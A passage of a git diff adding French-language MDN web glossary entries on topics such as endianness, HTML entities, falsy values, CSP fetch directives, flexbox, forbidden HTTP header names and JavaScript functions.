Sans connaître le code secret, l'opération inverse, le {{glossary("decryption","déchiffrement")}}, se révèle mathématiquement difficile à réaliser. Le degré de difficulté dépend de la sécurité de l'algorithme cryptographique choisi et évolue au fur et à mesure des progrès de la {{glossary("cryptanalysis","cryptanalyse")}}.

+ +

Pour approfondir

+ + diff --git a/files/fr/glossary/endianness/index.html b/files/fr/glossary/endianness/index.html new file mode 100644 index 0000000000..7ef388d3b2 --- /dev/null +++ b/files/fr/glossary/endianness/index.html @@ -0,0 +1,31 @@ +--- +title: Endianness +slug: Glossaire/Endianness +tags: + - Codage + - Encodage + - Glossaire +translation_of: Glossary/Endianness +--- +

"Endian" et "endianness" (ou "ordre des octets") désigne la manière dont les ordinateurs organisent les octets pour constituer des nombres.

+ +

Chaque emplacement de stockage en mémoire dispose d'un index ou adresse. Un octet pouvant stocker une valeur de 8 bits (i.e. compris entre 0x00 et 0xff), il faut en réserver davantage pour enregistrer des nombres plus grands. L'ordre le plus utilisé pour composer des nombres sur plusieurs octets est de loin le little-endian qui est utilisé sur tous les processeurs Intel. Little-endian signifie que le stockage des octets se fait du moins important au plus important (où l'octet le moins important prend la première adresse ou la plus basse), ce qui est comparable à la façon habituelle en Europe d'écrire les dates (e.g., 31 décembre 2050).

+ +

Naturellement, big-endian est l'ordre opposé, similaire à une date au format ISO (2050-12-31). Big-endian est aussi souvent appelé "ordre d'octet du réseau" car les standards internet ont généralement besoin des données dans cet ordre, en commençant au niveau socket UNIX standard et en continuant avec les structures de données Web binaires standardisées. De plus, les anciens ordinateurs Mac utilisaient des microprocesseurs 680x0 ou PowerPC qui étaient big-endian.

+ +

Exemples avec le nombre 0x12345678 (i.e. 305 419 896 en décimal) :

+ +
    +
  • little-endian :  0x78 0x56 0x34 0x12
    • +
  • big-endian : 0x12 0x34 0x56 0x78
    • +
  • mixed-endian (dans le passé et très rare) : 0x34 0x12 0x78 0x56
    • +
+ +

Voir aussi

+ +
    +
  • {{jsxref("ArrayBuffer")}}
    • +
  • {{jsxref("DataView")}}
    • +
  • Tableaux typés
    • +
  • {{Interwiki("wikipedia", "Endianness")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/engine/index.html b/files/fr/glossary/engine/index.html new file mode 100644 index 0000000000..8c8e60d10f --- /dev/null +++ b/files/fr/glossary/engine/index.html @@ -0,0 +1,17 @@ +--- +title: Moteur +slug: Glossaire/Engine +tags: + - Encodage + - Glossaire +translation_of: Glossary/Engine +--- +

Le moteur {{glossary("JavaScript")}} est un interpréteur qui analyse et exécute un programme JavaScript.

+ +

Plus d'informations

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Moteur JavaScript")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/entity/index.html b/files/fr/glossary/entity/index.html new file mode 100644 index 0000000000..ddc1d102e0 --- /dev/null +++ b/files/fr/glossary/entity/index.html @@ -0,0 +1,59 @@ +--- +title: Entité +slug: Glossaire/Entity +tags: + - Composition + - Encodage + - Glossaire + - HTML +translation_of: Glossary/Entity +--- +

Une entité {{glossary("HTML")}} est une chaîne de texte (string) qui commence par (&) et se termine avec (;). Les entités sont fréquemment utilisées pour afficher des caractères réservés (qui seraient autrement interprétés comme du code HTML) et des caractères invisibles (comme des espaces insécables). Vous pouvez également les utiliser à la place d'autres caractères difficiles à taper avec un clavier standard.

+ +

De nombreux caractères sont des entités mnémoniques. Par exemple, l'entité pour le copyright symbole (©) est &copy;. Pour les caractères non mémorisables, comme &#8212; ou  &#x2014; , vous pouvez utiliser un  tableau de référence ou un outil décodeur.

+ +

Caractères réservés

+ +

Certains caractères spéciaux sont réservés pour une utilisation en HTML, ce qui signifie que votre navigateur les analysera en tant que code HTML. Par exemple, si vous utilisez le signe inférieur (<), le navigateur interprète tout texte qui suit comme une {{Glossary("Tag","balise")}}.

+ +

Pour afficher ces caractères comme texte, il faut les remplacer par l'entité de caractère correspondante, comme montrée dans le tableau suivant :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CaractèreEntitéRemarque
&&amp;Interprété comme le début d'une référence d'entité ou de caractère.
<&lt;Interprété comme le début d'une {{Glossary("Tag","balise")}}
>&gt;Interprété comme la fin d'une {{Glossary("Tag","balise")}}
"&quot;Interprété comme le début et la fin d'une valeur d'{{Glossary('Attribute','attributs')}}
+ +

En apprendre plus

+ +

Référence technique

+ + diff --git a/files/fr/glossary/entity_header/index.html b/files/fr/glossary/entity_header/index.html new file mode 100644 index 0000000000..1e5ff004a5 --- /dev/null +++ b/files/fr/glossary/entity_header/index.html @@ -0,0 +1,26 @@ +--- +title: En-tête d'entité +slug: Glossaire/En-tête_entité +tags: + - Glossaire + - Mécanismes web +translation_of: Glossary/Entity_header +--- +

Un en-tête d'entité est un {{glossary("header","en-tête HTTP")}} décrivant le contenu du corps du message. Les en-têtes d'entité sont utilisés à la fois dans les requêtes et les réponses HTTP. Des en-têtes tels que {{HTTPHeader("Content length")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Encoding")}} sont des en-têtes d'entité.

+ +

Même si les en-têtes d'entité ne sont ni des en-têtes de requête, ni des en-têtes de réponse, ils sont souvent inclus avec ces modalités.

+ +

Dans l'exemple suivant, {{HTTPHeader("Content-Length")}} est un en-tête d'entité, tandis que {{HTTPHeader("Host")}} et {{HTTPHeader("User-Agent")}} sont des {{glossary("Request header","en-têtes de requête")}} :

+ +
POST /myform.html HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Content-Length: 128
+ +

En apprendre plus

+ +

Connaissance technique

+ + diff --git a/files/fr/glossary/event/index.html b/files/fr/glossary/event/index.html new file mode 100644 index 0000000000..7d0f247c38 --- /dev/null +++ b/files/fr/glossary/event/index.html @@ -0,0 +1,26 @@ +--- +title: Évènement +slug: Glossaire/évènement +tags: + - DOM + - Encodage + - Glossaire + - évènements +translation_of: Glossary/event +--- +

Les évèhements sont des éléments actifs générés par les éléments DOM qui peuvent être manipulés par un code Javascript.

+ +

En apprendre plus

+ +

Référence technique

+ + + +

Culture générale

+ +
    +
  • Site web officiel (en)
    • +
  • {{Interwiki("wikipedia","Document_Object_Model#Événements")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/exception/index.html b/files/fr/glossary/exception/index.html new file mode 100644 index 0000000000..999619693c --- /dev/null +++ b/files/fr/glossary/exception/index.html @@ -0,0 +1,19 @@ +--- +title: Exception +slug: Glossaire/Exception +tags: + - Débutants + - Encodage + - Erreurs + - Glossaire +translation_of: Glossary/Exception +--- +

Une exception est un état qui interrompt l'exécution normale du code. En JavaScript, les {{glossary("syntax error", "erreurs de syntaxe")}} sont une source commune d'exceptions.

+ +

En savoir plus

+ +

Connaissances générales

+ +
    +
  • {{Interwiki("wikipedia", "Système de gestion d'exceptions")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/expando/index.html b/files/fr/glossary/expando/index.html new file mode 100644 index 0000000000..6f4dc4119b --- /dev/null +++ b/files/fr/glossary/expando/index.html @@ -0,0 +1,16 @@ +--- +title: Expando +slug: Glossaire/Expando +tags: + - Encodage + - Glossaire + - JavaScript + - Référence(2) + - expando +translation_of: Glossary/Expando +--- +

Les propriétés expando sont des propriétés ajoutées aux nœuds {{glossary("DOM")}} en {{glossary("JavaScript")}} mais qui ne figurent pas dans la spécification DOM des {{glossary("Object","objets")}} :

+ +
document.foo = 5; // foo est une propriété expando
+ +

Le terme peut également être appliqué aux propriétés ajoutées à des objets sans respecter l'objectif original de l'objet, comme ajouter des propriétés nommées non numériques pour un {{glossary("Array","tableau")}}.

diff --git a/files/fr/glossary/falsy/index.html b/files/fr/glossary/falsy/index.html new file mode 100644 index 0000000000..fdb5058248 --- /dev/null +++ b/files/fr/glossary/falsy/index.html @@ -0,0 +1,38 @@ +--- +title: Falsy (Valeurs de type fausses) +slug: Glossaire/Falsy +tags: + - Booléen + - Encodage + - Faux + - Glossaire + - Valeurs fausses +translation_of: Glossary/Falsy +--- +

Les valeurs fausses (falsy) sont des valeurs évaluées comme fausses quand elles sont évaluées dans un contexte {{Glossary("Boolean","booléen")}}.

+ +

{{Glossary("JavaScript")}} utilise le type {{Glossary("Type_Conversion", "contrainte")}} dans les contextes Booléens comme les {{Glossary("Conditional", "conditions")}} et les {{Glossary("Loop", "boucles")}}.

+ +

Exemples

+ +

Exemples de valeurs fausses en Javascript (qui sont traduites par false (faux) et, par ce fait, court-circuitent le bloc if) :

+ +
if (false)
+if (null)
+if (undefined)
+if (0)
+if (NaN)
+if ('')
+if ("")
+if (document.all) [1]
+ +

[1] document.all a été utilisé par le passé pour détecter le navigateur et la spécification HTML définit une infraction délibérée aux standards ECMAScript afin de garder une compatibilité ascendante (if (document.all) { // Code Internet Explorer ici (Sauf IE11) } ou en utilisant document.all sans vérifier s'il existe d'abord : document.all.foo).

+ +

Parfois écrit falsey, bien qu'en anglais, transformer un mot en adjectif avec un -y fait disparaître tout e final (noise => noisy, ice => icy, shine => shiny) .

+ +

En apprendre plus

+ +
    +
  • {{Glossary("Truthy")}}
    • +
  • {{Glossary("Boolean")}}
    • +
diff --git a/files/fr/glossary/favicon/index.html b/files/fr/glossary/favicon/index.html new file mode 100644 index 0000000000..5cc417bffa --- /dev/null +++ b/files/fr/glossary/favicon/index.html @@ -0,0 +1,27 @@ +--- +title: Favicon +slug: Glossaire/Favicon +tags: + - Glossaire + - Intro + - agent utilisateur + - favicon +translation_of: Glossary/Favicon +--- +

Un favicon (icône de favori) est une petite icône incluse avec un site Web, qui s'affiche à des endroits tels que la barre d'addresse du navigateur, les onglets de page et le menu des signets. Notez cependant que la plupart des navigateurs modernes ont remplacé le favicon de la barre d'adresse par une image indiquant si le site Web utilise ou non {{Glossary("https","HTTPS")}}.

+ +

Habituellement, un favicon mesure 16 x 16 pixels et est stocké au format de fichier {{Glossary("GIF")}}, {{Glossary("PNG")}}, ou ICO.

+ +

Ils sont utilisés pour améliorer l'expérience utilisateur et renforcer la cohérence de la marque. Lorsqu'une icône familière apparaît dans la barre d'adresse du navigateur, par exemple, elle aide les utilisateurs à savoir qu'ils sont au bon endroit.

+ + diff --git a/files/fr/glossary/fetch_directive/index.html b/files/fr/glossary/fetch_directive/index.html new file mode 100644 index 0000000000..e48fdd3273 --- /dev/null +++ b/files/fr/glossary/fetch_directive/index.html @@ -0,0 +1,44 @@ +--- +title: Directive de récupération +slug: Glossaire/Directive_de_récupération +tags: + - CSP + - Glossaire + - Sécurité +translation_of: Glossary/Fetch_directive +--- +

Les directives de récupération {{Glossary("CSP")}} sont utilisées dans un en-tête de {{HTTPHeader("Content-Security-Policy","politique de sécurité de contenu")}} et contrôlent les emplacements à partir desquels certaines ressources peuvent être chargées. Par exemple, {{CSP("script-src")}} permet aux développeurs d'autoriser l'exécution de sources de script sur une page, tandis que {{CSP("font-src")}} contrôle les sources des polices de caractères web.

+ +

Toutes les directives de récupération reviennent à {{CSP("default-src")}}. Cela signifie que si une instruction fetch est absente dans l'en-tête CSP, l'agent utilisateur recherchera la directive default-src.

+ +

Ces directives CSP sont :

+ +
    +
  • {{CSP("child-src")}}
    • +
  • {{CSP("connect-src")}}
    • +
  • {{CSP("default-src")}}
    • +
  • {{CSP("font-src")}}
    • +
  • {{CSP("frame-src")}}
    • +
  • {{CSP("img-src")}}
    • +
  • {{CSP("manifest-src")}}
    • +
  • {{CSP("media-src")}}
    • +
  • {{CSP("object-src")}}
    • +
  • {{CSP("script-src")}}
    • +
  • {{CSP("style-src")}}
    • +
  • {{CSP("worker-src")}}
    • +
+ +
+

En apprendre plus

+ +
    +
  • {{HTTPHeader("Content-Security-Policy","Politique de sécurité de contenu")}}
    • +
  • Autres types de directives: +
      +
    • {{Glossary("Document directive","Directives de document")}}
      • +
    • {{Glossary("Navigation directive","Directives de navigation")}}
      • +
    • {{Glossary("Reporting directive","Directives de rapport")}}
      • +
    +
    • +
+
diff --git a/files/fr/glossary/firefox_os/index.html b/files/fr/glossary/firefox_os/index.html new file mode 100644 index 0000000000..141b9c9eb2 --- /dev/null +++ b/files/fr/glossary/firefox_os/index.html @@ -0,0 +1,27 @@ +--- +title: Firefox OS +slug: Glossaire/Firefox_OS +tags: + - Firefox OS + - Glossaire + - Infrastructure + - Introduction +translation_of: Glossary/Firefox_OS +--- +

Résumé

+ +

Firefox OS est le système d'exploitation mobile de Mozilla, basé sur Linux et le puissant moteur de rendu {{glossary("Gecko")}} de {{glossary("Mozilla Firefox","Firefox")}} . Firefox OS se compose principalement de {{glossary("Gaia")}}, {{glossary("Gecko")}} et {{glossary("Gonk")}}.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Firefox_OS")}} sur Wikipedia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/firewall/index.html b/files/fr/glossary/firewall/index.html new file mode 100644 index 0000000000..c5d6a403b4 --- /dev/null +++ b/files/fr/glossary/firewall/index.html @@ -0,0 +1,21 @@ +--- +title: pare-feu +slug: Glossaire/pare-feu +tags: + - DDoS + - Glossaire + - Pare-feu + - Sécurité +translation_of: Glossary/firewall +--- +

Un pare-feu est un système qui filtre les connexions réseaux. Il peut aussi bien les autoriser à passer que les bloquer en fonction de certaines règles spécifiques. Par exemple, il peut bloquer une connexion entrante sur un certain port ou des connexions sortantes vers une certaine adresse IP.

+ +

Les pare-feu peuvent être un simple composant logiciel ou se présenter sous la forme d'une machine dédiée dont la seule fonction est d'agir en tant que pare-feu.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Pare-feu (informatique)")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/first-class_function/index.html b/files/fr/glossary/first-class_function/index.html new file mode 100644 index 0000000000..3b6b8eeafc --- /dev/null +++ b/files/fr/glossary/first-class_function/index.html @@ -0,0 +1,19 @@ +--- +title: Fonction de première classe +slug: Glossaire/Fonction_de_première_classe +tags: + - Fonctions + - Glossaire +translation_of: Glossary/First-class_Function +--- +

Un langage de programmation est dit avoir des fonctions de première classe lorsque les fonctions dans ce langage sont traitées comme n'importe quelle autre variable. Par exemple, dans un tel langage, une fonction peut être transmise en tant qu'argument à d'autres fonctions, peut être retournée par une autre fonction et peut être affectée en tant que valeur à une variable.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "First-class functions", "First-class functions")}} (en) sur Wikipedia
    • +
+ +

 

diff --git a/files/fr/glossary/first_contentful_paint/index.html b/files/fr/glossary/first_contentful_paint/index.html new file mode 100644 index 0000000000..165702c2cc --- /dev/null +++ b/files/fr/glossary/first_contentful_paint/index.html @@ -0,0 +1,20 @@ +--- +title: First contentful paint +slug: Glossaire/First_contentful_paint +tags: + - Glossaire + - Performance + - Performance Web + - Reference +translation_of: Glossary/First_contentful_paint +--- +

First Contentful Paint (FCP) est lorsque le navigateur rend le premier bit de contenu du DOM, fournissant le premier retour à l'utilisateur que la page est en cours de chargement. La question "Est-ce que ça se passe?" est "oui" lorsque la première peinture contentieuse est terminée.

+ +

L'horodatage First Contentful Paint correspond au premier rendu par le navigateur d'un texte, d'une image (y compris les images d'arrière-plan), d'un canevas non blanc ou d'un SVG. Cela exclut tout contenu des iframes, mais inclut le texte avec des polices Web en attente. C'est la première fois que les utilisateurs peuvent commencer à consommer du contenu de page.

+ +

Voir aussi

+ + diff --git a/files/fr/glossary/first_meaningful_paint/index.html b/files/fr/glossary/first_meaningful_paint/index.html new file mode 100644 index 0000000000..33638d5b3f --- /dev/null +++ b/files/fr/glossary/first_meaningful_paint/index.html @@ -0,0 +1,16 @@ +--- +title: First Meaningful Paint +slug: Glossaire/first_meaningful_paint +tags: + - Glossaire + - Performance Web + - Reference +translation_of: Glossary/first_meaningful_paint +--- +

First Meaningful Paint (FMP) est la peinture après laquelle le plus grand changement de mise en page au-dessus du pli s'est produit et les polices Web se sont chargées. C'est quand la réponse à "Est-ce utile?" devient "oui", lors de la première finition significative de la peinture.

+ +

Voir aussi

+ + diff --git a/files/fr/glossary/flex/index.html b/files/fr/glossary/flex/index.html new file mode 100644 index 0000000000..e4b4d8b0f8 --- /dev/null +++ b/files/fr/glossary/flex/index.html @@ -0,0 +1,48 @@ +--- +title: Flex +slug: Glossaire/Flex +tags: + - CSS + - Flex + - Glossaire +translation_of: Glossary/Flex +--- +

flex est une nouvelle valeur ajoutée à la propriété CSS {{cssxref("display")}}. De même qu'inline-flex, elle transforme l'élément auquel elle s'applique en un {{glossary("Flex Container","conteneur flexible")}} et les enfants de l'élément en {{glossary("Flex Item","éléments flexible")}}. Les éléments participent alors à la mise en page flexible, et toutes les propriétés définies dans le module de mise en page de boîte flexible CSS peuvent être appliquées.

+ +

La propriété flex est un raccourci pour les propriétés flex-grow, flex-shrink et flex-basis.

+ +

De plus <flex> peut se référer à une longueur flexible dans une grille de mise en page CSS.

+ +

En apprendre plus

+ +

Références de la propriété

+ +
+
    +
  • {{cssxref("align-content")}}
    • +
  • {{cssxref("align-items")}}
    • +
  • {{cssxref("align-self")}}
    • +
  • {{cssxref("flex")}}
    • +
  • {{cssxref("flex-basis")}}
    • +
  • {{cssxref("flex-direction")}}
    • +
  • {{cssxref("flex-flow")}}
    • +
  • {{cssxref("flex-grow")}}
    • +
  • {{cssxref("flex-shrink")}}
    • +
  • {{cssxref("flex-wrap")}}
    • +
  • {{cssxref("justify-content")}}
    • +
  • {{cssxref("order")}}
    • +
+
+ +

En lire plus

+ + diff --git a/files/fr/glossary/flex_container/index.html b/files/fr/glossary/flex_container/index.html new file mode 100644 index 0000000000..90496bbcbe --- /dev/null +++ b/files/fr/glossary/flex_container/index.html @@ -0,0 +1,36 @@ +--- +title: Conteneur flexible +slug: Glossaire/Flex_Container +tags: + - CSS + - Glossaire + - flexbox +translation_of: Glossary/Flex_Container +--- +

Une mise en page {{glossary("flexbox")}} est définie en utilisant les valeurs flex ou inline-flex de la propriété display sur l'élément parent. Cet élément devient alors un conteneur flexible et chacun de ses enfants un {{glossary("flex item","élément flexible")}}.

+ +

Une valeur flex fait que l'élément devient un conteneur flexible de niveau bloc et inline-flex, un conteneur flexible de niveau en ligne. Ces valeurs créent un contexte de mise en forme flexible pour l'élément, qui est similaire à un contexte de mise en forme de bloc dans la mesure où les flottants ne s'introduiront pas dans le conteneur et les marges du conteneur ne s'effondreront pas avec celles des articles.

+ +

En apprendre plus

+ +

Références de la propriété

+ +
+
    +
  • {{cssxref("align-content")}}
    • +
  • {{cssxref("align-items")}}
    • +
  • {{cssxref("flex")}}
    • +
  • {{cssxref("flex-direction")}}
    • +
  • {{cssxref("flex-flow")}}
    • +
  • {{cssxref("flex-wrap")}}
    • +
  • {{cssxref("justify-content")}}
    • +
+
+ +

En lire plus

+ + diff --git a/files/fr/glossary/flex_item/index.html b/files/fr/glossary/flex_item/index.html new file mode 100644 index 0000000000..de302f41cc --- /dev/null +++ b/files/fr/glossary/flex_item/index.html @@ -0,0 +1,34 @@ +--- +title: Éléments flexibles +slug: Glossaire/Flex_Item +tags: + - CSS + - Glossaire + - flexbox +translation_of: Glossary/Flex_Item +--- +

Les enfants directs d'un {{glossary("Flex Container","conteneur flexible")}} (éléments définis avec display: flex ou display: inline-flex) deviennent des éléments flexibles (flex items).

+ +

Des passages continus de texte à l'intérieur des conteneurs flexibles deviendront également des éléments flexibles.

+ +

En apprendre plus

+ +

Références de la propriété

+ +
+
    +
  • {{cssxref("align-self")}}
    • +
  • {{cssxref("flex-basis")}}
    • +
  • {{cssxref("flex-grow")}}
    • +
  • {{cssxref("flex-shrink")}}
    • +
  • {{cssxref("order")}}
    • +
+
+ +

En lire plus

+ + diff --git a/files/fr/glossary/flexbox/index.html b/files/fr/glossary/flexbox/index.html new file mode 100644 index 0000000000..413b6e24ff --- /dev/null +++ b/files/fr/glossary/flexbox/index.html @@ -0,0 +1,48 @@ +--- +title: Flexbox +slug: Glossaire/Flexbox +tags: + - CSS + - Glossaire + - flexbox +translation_of: Glossary/Flexbox +--- +

Flexbox (boîte flexible) est le nom communément utilisé pour le module de mise en page des boîtes flexibles CSS, un modèle de disposition pour afficher des éléments dans une seule dimension - comme une ligne ou une colonne.

+ +

Dans la spécification, flexbox est décrite comme un modèle de disposition pour la conception de l'interface utilisateur. La caractéristique clé de flexbox est le fait que les articles dans une disposition flexible peuvent grandir et rétrécir. De l'espace peut être affecté aux éléments eux-mêmes ou distribué entre ou autour des éléments.

+ +

Flexbox permet également l'alignement des éléments sur l'axe principal ou transversal, offrant ainsi un niveau élevé de contrôle sur la taille et l'alignement d'un groupe d'éléments.

+ +

En apprendre plus

+ +

Références de la propriété

+ +
+
    +
  • {{cssxref("align-content")}}
    • +
  • {{cssxref("align-items")}}
    • +
  • {{cssxref("align-self")}}
    • +
  • {{cssxref("flex")}}
    • +
  • {{cssxref("flex-basis")}}
    • +
  • {{cssxref("flex-direction")}}
    • +
  • {{cssxref("flex-flow")}}
    • +
  • {{cssxref("flex-grow")}}
    • +
  • {{cssxref("flex-shrink")}}
    • +
  • {{cssxref("flex-wrap")}}
    • +
  • {{cssxref("justify-content")}}
    • +
  • {{cssxref("order")}}
    • +
+
+ +

En lire plus

+ + diff --git a/files/fr/glossary/forbidden_header_name/index.html b/files/fr/glossary/forbidden_header_name/index.html new file mode 100644 index 0000000000..23deb8be62 --- /dev/null +++ b/files/fr/glossary/forbidden_header_name/index.html @@ -0,0 +1,45 @@ +--- +title: Nom d'en-tête interdit +slug: Glossaire/Forbidden_header_name +tags: + - En-têtes + - Fetch + - Glossaire + - HTTP + - Interdit +translation_of: Glossary/Forbidden_header_name +--- +

Un nom d'en-tête interdit est un nom d'en-tête HTTP qui ne peut être modifié par programmation, spécifiquement, un nom d'en-tête de requête HTTP (contraste avec {{Glossary("Forbidden response header name","Nom d'en-tête de réponse interdit")}}).

+ +

Les modifications de ces en-têtes sont interdites pour que l'agent utilisateur garde un total contrôle sur eux. Les noms commençant par `Sec-` sont réservés à la création de nouveaux en-têtes à l'abri des {{glossary("API","API")}} utilisant Fetch qui accordent aux développeurs le contrôle des en-têtes, tels que {{domxref("XMLHttpRequest")}}.

+ +

Les noms d'en-tête interdits commencent avec Proxy- ou Sec-, ou se composent de l'un d'eux :

+ +
    +
  • Accept-Charset
    • +
  • Accept-Encoding
    • +
  • Access-Control-Request-Headers
    • +
  • Access-Control-Request-Method
    • +
  • Connection
    • +
  • Content-Length
    • +
  • Cookie
    • +
  • Cookie2
    • +
  • Date
    • +
  • DNT
    • +
  • Expect
    • +
  • Host
    • +
  • Keep-Alive
    • +
  • Origin
    • +
  • Proxy-
    • +
  • Sec-
    • +
  • Referer
    • +
  • TE
    • +
  • Trailer
    • +
  • Transfer-Encoding
    • +
  • Upgrade
    • +
  • Via
    • +
+ +
+

Note: L'en-tête User-Agent n'est plus interdit, conformément à la spécification — voir la liste des noms d'en-tête interdit (implémentée dans Firefox 43), et peut donc maintenant être défini dans un objet en-tête Fetch, via XHR setRequestHeader(), etc.

+
diff --git a/files/fr/glossary/forbidden_response_header_name/index.html b/files/fr/glossary/forbidden_response_header_name/index.html new file mode 100644 index 0000000000..45ffe55931 --- /dev/null +++ b/files/fr/glossary/forbidden_response_header_name/index.html @@ -0,0 +1,31 @@ +--- +title: Nom d'en-tête de réponse interdit +slug: Glossaire/Forbidden_response_header_name +tags: + - En-têtes + - Glossaire + - HTTP + - Interdit + - Réponses +translation_of: Glossary/Forbidden_response_header_name +--- +

Un nom d'en-tête de réponse interdit est un nom d'en-tête HTTP (`Set-Cookie` ou `Set-Cookie2`) qui ne peuvent être modifiés par programmation.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('Fetch','#forbidden-response-header-name','forbidden-response-header-name')}}{{Spec2('Fetch')}} 
diff --git a/files/fr/glossary/fork/index.html b/files/fr/glossary/fork/index.html new file mode 100644 index 0000000000..948f048582 --- /dev/null +++ b/files/fr/glossary/fork/index.html @@ -0,0 +1,30 @@ +--- +title: Fork +slug: Glossaire/Fork +tags: + - Fork + - Glossaire + - Outils + - git +translation_of: Glossary/Fork +--- +

Un fork est une copie d’un projet logiciel existant à un moment donné pour permettre à quelque-un d’ajouter ses propres modifications au projet. Si la licence du logiciel original le permet, vous pouvez copier le code pour développer votre propre version de ce logiciel, avec vos propres ajouts, qui sera alors un « fork ».

+ +

Les forks sont communs dans le développement des logiciels libres et open source. C’est maintenant un terme plus populaire grâce au modèle de contribution utilisant Git (et/ou la plateforme GitHub).

+ +

En savoir plus

+ +

Culture générale

+ + + +

Divers forks réputés

+ + diff --git a/files/fr/glossary/ftp/index.html b/files/fr/glossary/ftp/index.html new file mode 100644 index 0000000000..7b57a97074 --- /dev/null +++ b/files/fr/glossary/ftp/index.html @@ -0,0 +1,22 @@ +--- +title: FTP +slug: Glossaire/FTP +tags: + - Encodage + - FTP + - Glossaire + - protocole +translation_of: Glossary/FTP +--- +

FTP (file transfer protocol) est un {{glossary("Protocol","protocole")}} réseau standard utilisé pour transférer des fichiers d'un {{glossary("Host","hôte")}} à un autre par Internet. De plus en plus, cependant, les équipes et les comptes d'hébergement n'autorisent pas le FTP et s'appuient plutôt sur un système de contrôle de version comme Git. Vous le trouverez toujours utilisé sur les anciens comptes d'hébergement, mais il est sûr de dire que FTP n'est plus considéré comme la meilleure pratique.

+ +

En apprendre plus

+ +

Connaissances générales

+ + + +

 

diff --git a/files/fr/glossary/ftu/index.html b/files/fr/glossary/ftu/index.html new file mode 100644 index 0000000000..9a0adc1da0 --- /dev/null +++ b/files/fr/glossary/ftu/index.html @@ -0,0 +1,15 @@ +--- +title: FTU +slug: Glossaire/FTU +tags: + - FTU + - Firefox OS + - First time use + - Gaia + - Glossaire + - Infrastructure +translation_of: Glossary/FTU +--- +

FTU (First Time Use, ou première utilisation) est l'application qui se charge lorsque vous lancez une version nouvellement installée de {{glossary("Gecko")}} sur un appareil {{glossary("Firefox OS")}}.

+ +

Vous pouvez utiliser FTU pour définir des options importantes (e.g. fuseau horaire, détails du WiFi, langue par défaut, import des contacts), ou pour suivre le "Phone Tour" dans le but de découvrir votre appareil.

diff --git a/files/fr/glossary/function/index.html b/files/fr/glossary/function/index.html new file mode 100644 index 0000000000..9669e71ef3 --- /dev/null +++ b/files/fr/glossary/function/index.html @@ -0,0 +1,88 @@ +--- +title: Fonction +slug: Glossaire/Fonction +tags: + - Encodage + - Fonctions + - Glossaire + - IIFE + - Introduction + - JavaScript +translation_of: Glossary/Function +--- +

Une fonction est une portion de code qui peut être appelée par d'autres codes ou par elle-même ou par une {{Glossary("Variable","variable")}} qui se réfère à la fonction. Lorsqu'une fonction est appelée, des {{Glossary("Argument","arguments")}} lui sont généralement donnés en entrée. La fonction peut également retourner une valeur de sortie. En {{glossary("JavaScript")}}, une fonction est aussi un {{glossary("Object","objet")}}.

+ +

Un nom de fonction est un {{Glossary("identifier","identifiant")}} déclaré dans le cadre d'une déclaration de fonction ou de l'expression d'une fonction. Le fait que le nom de fonction soit déclaré ou exprimé impacte la {{Glossary("Scope","portée")}} du nom de fonction.

+ +

Différents types de fonctions

+ +

Une fonction anonyme est une fonction sans nom de fonction :

+ +
function () {};
+// ou en utilisant la notation de flèche de ECMAScript 2015
+() => {};
+ +

Une fonction nommée est une fonction avec un nom de fonction :

+ +
function foo() {};
+// ou en utilisant la notation de flèche de ECMAScript 2015
+const foo = () => {};
+ +

Une fonction imbriquée (ou fonction interne) est une fonction à l'intérieur d'une autre fonction (square dans l'exemple suivant). Une fonction externe est une fonction qui contient une fonction (addSquares dans l'exemple suivant) :

+ +
+
+ +
function addSquares(a,b) {
+   function square(x) {
+      return x * x;
+   }
+   return square(a) + square(b);
+};
+//En utilisant la notation de flèche de ECMAScript 2015
+const addSquares = (a,b) => {
+   const square = x => x*x;
+   return square(a) + square(b);
+};
+ +

Une fonction récursive est une fonction qui fait appel à elle-même. Voir {{Glossary("Recursion","récursion")}}.

+ +
function loop(x) {
+   if (x >= 10)
+      return;
+   loop(x + 1);
+};
+//En utilisant la notation de flèche de ECMAScript 2015
+const loop = x => {
+   if (x >= 10)
+      return;
+   loop(x + 1);
+};
+ +

Une expression de fonction invoquée immédiatement (IIFE) est une fonction appelée directement après le chargement de la fonction dans le compilateur du navigateur. La façon d'identifier une IIFE est de localiser les parenthèses gauche et droite supplémentaires à la fin de la déclaration de la fonction.

+ +
// Erreur (https://en.wikipedia.org/wiki/Immediately-invoked_function_expression)
+/*
+​function foo() {
+    console.log('Hello Foo');
+}();
+*/
+
+(function foo() {
+    console.log("Hello Foo");
+}());
+
+(function food() {
+    console.log("Hello Food");
+})();
+ +

Si vous souhaitez en savoir plus sur les IIFE, consultez la page suivante sur Wikipedia : Expression de la fonction immédiatement invoquée

+ +

En apprendre plus

+ +

Informations Techniques

+ + diff --git a/files/fr/glossary/gaia/index.html b/files/fr/glossary/gaia/index.html new file mode 100644 index 0000000000..026f1a0215 --- /dev/null +++ b/files/fr/glossary/gaia/index.html @@ -0,0 +1,24 @@ +--- +title: Gaia +slug: Glossaire/Gaia +tags: + - Boot2Gecko + - Firefox OS + - Gaia + - Glossaire + - Infrastructure + - Intro +translation_of: Glossary/Gaia +--- +

Interface utilisateur et suite applicative par défaut de la plate-forme Firefox OS.

+ +

